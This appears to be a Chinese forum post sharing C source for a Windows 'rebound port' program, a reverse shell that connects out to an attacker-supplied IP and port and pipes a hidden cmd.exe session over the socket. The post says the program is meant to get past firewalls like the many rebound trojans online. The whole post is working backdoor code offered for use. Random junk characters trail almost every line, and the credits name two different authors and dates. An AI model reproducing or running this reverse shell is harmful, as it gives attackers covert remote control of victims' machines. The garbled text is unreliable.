这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 _?'W30Dg
cq
gCcO,
/* ============================== ,D(Bg9C
Rebound port in Windows NT ; !t?*
By wind,2006/7 fZsw+PSy
===============================*/ n<> ^cD
#include Pec Zuv
#include &?5)Jis:
|]?W`KN0
#pragma comment(lib,"wsock32.lib") dBovcc
T3SFG]H
void OutputShell(); ;qbK[3.
SOCKET sClient; AS~!YR
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 5A|dhw
&sBD0R(a
void main(int argc,char **argv) v.TgB)
{ /dvronG
WSADATA stWsaData; ~=[5X,Ta
int nRet; S*J\YcqSC
SOCKADDR_IN stSaiClient,stSaiServer; w,R6:*p5
6|3 X*Orn
if(argc != 3) V\r{6-%XiW
{ ,C0y3pL
printf("Useage:\n\rRebound DestIP DestPort\n"); h?B1Emlq
return; }''0N1,/
} 8No'8(dPX
~EXCYUp4v
WSAStartup(MAKEWORD(2,2),&stWsaData); gYk5}E-
gE=9K @
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \{~CO{II
tf8xc
stSaiClient.sin_family = AF_INET; CAom4Sp'
stSaiClient.sin_port = htons(0); 0_+
& [g}
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); .j|uf[?h
~[og\QZX
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) YPY,gR
{ .;ofRx<
printf("Bind Socket Failed!\n"); mQ`2c:Rn&7
return; NW3qs`$-(
} =Bm|9A1
-Q?c'e
stSaiServer.sin_family = AF_INET; '!?t+L%gO
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Gx}`_[-
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); HyKA+7}
}oSgx
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) N$C+le
{ Eaxsg
printf("Connect Error!"); P{_%p<:V
return; M3F1O6=4j
} ONy\/lu|
OutputShell(); E.ji;5
} #9.%>1{6Y
t?Qbi)T=z
void OutputShell() BtKor6ba
{ Hy,""Py
char szBuff[1024]; h7TkMt[l
SECURITY_ATTRIBUTES stSecurityAttributes; Zz/p'3?#
OSVERSIONINFO stOsversionInfo; *fv BB9raq
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ;~d$OM
STARTUPINFO stStartupInfo; >#l:]T
char *szShell;
-%%Xx5D
PROCESS_INFORMATION stProcessInformation; Sj|tR[SAoD
unsigned long lBytesRead; EEK!'[<,sE
XE2rx2k
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); .oTS7rYw
e"bzZ!c&~V
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); dKU:\y
stSecurityAttributes.lpSecurityDescriptor = 0; .8%b;b
stSecurityAttributes.bInheritHandle = TRUE; :g|NE\z`)/
2]5Li/
0rI/$
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); /N<aN9Z<x,
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 3T,[
U/cj_}uX
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 6oZHSjC*
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]o0]i<:
stStartupInfo.wShowWindow = SW_HIDE; WvfM.D!
stStartupInfo.hStdInput = hReadPipe; g"kI1^[nj
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; tu* uQ:Ipk
PUZcb+%]h
GetVersionEx(&stOsversionInfo); .oT'(6#
nTwJR
switch(stOsversionInfo.dwPlatformId) 8Lx1XbwK
{ "$o>_+U
case 1: V rx,'/IS8
szShell = "command.com"; (y&sUc9
break; SDE$ymPx
default: GRkN0|ovfj
szShell = "cmd.exe"; f_xvX f:
break; 9Oq(` 4
} "p|.[d
UA2KY}pz5
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); { gs$pBu
f8N*[by
send(sClient,szMsg,77,0); xLi3|^q
while(1) p8)R#QWz9
{ $\/^O94-l
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); JN` $Fq+
if(lBytesRead) .`*]nN{
{ K*b* ]hf{
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); l:JVt`A4?
send(sClient,szBuff,lBytesRead,0); C#yRop_d]o
} FBB<1( {A
else fsw[R0B
{ \f(zMP
lBytesRead=recv(sClient,szBuff,1024,0); E"S#d&9
if(lBytesRead<=0) break; ` V [4
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); C,$o+q*)W9
} oA7DhU5n
} 2@
9? ~?r
YaC[S^p
return; <DR!AR)
}